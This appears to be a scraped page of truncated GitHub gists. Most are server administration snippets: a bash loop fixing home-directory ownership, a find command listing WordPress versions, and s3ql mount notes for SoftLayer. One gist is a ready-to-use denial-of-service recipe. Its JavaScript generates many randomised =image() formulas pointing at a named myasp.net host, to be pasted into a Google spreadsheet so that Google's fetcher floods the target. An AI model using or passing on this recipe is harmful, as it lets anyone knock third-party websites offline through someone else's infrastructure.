This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
cd /home/ | |
for i in `ls | grep -v 'lost+found'`; do | |
if id "$i" &>/dev/null ; then | |
chattr -i /home/$i/conf | |
chown -R ${i}:${i} $i | |
chown root:root /home/$i/conf | |
chown root:root /home/$i/conf/* | |
chown root:bind /home/$i/conf/dns/* &>/dev/null | |
chown Debian-exim:mail /home/$i/conf/mail/* &>/dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1. Create google spreadsheet | |
2. Open any website | |
3. Write by hands into browser url: | |
javascript: | |
4. Insert after it and press Enter or insert text into dev. console (PS. change main function parameters): | |
main("http://gfsdgfdsj-001-site1.myasp.net/img", 100); function makeid(n) { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for( var i=0; i < n; i++ ) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } function generateStr(url, x) { var div = document.createElement("div"); for( var i=0; i < x; i++ ) { var p = document.createElement("p"); var t = document.createTextNode('=image("' + url + "/?" + makeid(5) + '=' + makeid(16) + '")'); p.appendChild(t); div.appendChild(p); } document.body.innerHTML = ""; document.body.appendChild(div); } function main(url, x) { generateStr(url, x);} | |
4. Copy all text: Ctrl+A Ctrl+C | |
5. Insert buffer into google spreadsheet. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find /home/ -name 'version.php' -path '*wp-includes/*' -print -exec grep '$wp_version =' {} \; -exec echo '' \; > all-wp-versions-2.txt |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Mounting a s3ql file system to the S3 compatible file system at Softlayer on an Ubuntu 16 Xenial VSI | |
apt install s3ql | |
nano /etc/s3ql.authinfo | |
[softlayer-s3] | |
backend-login: somelogin |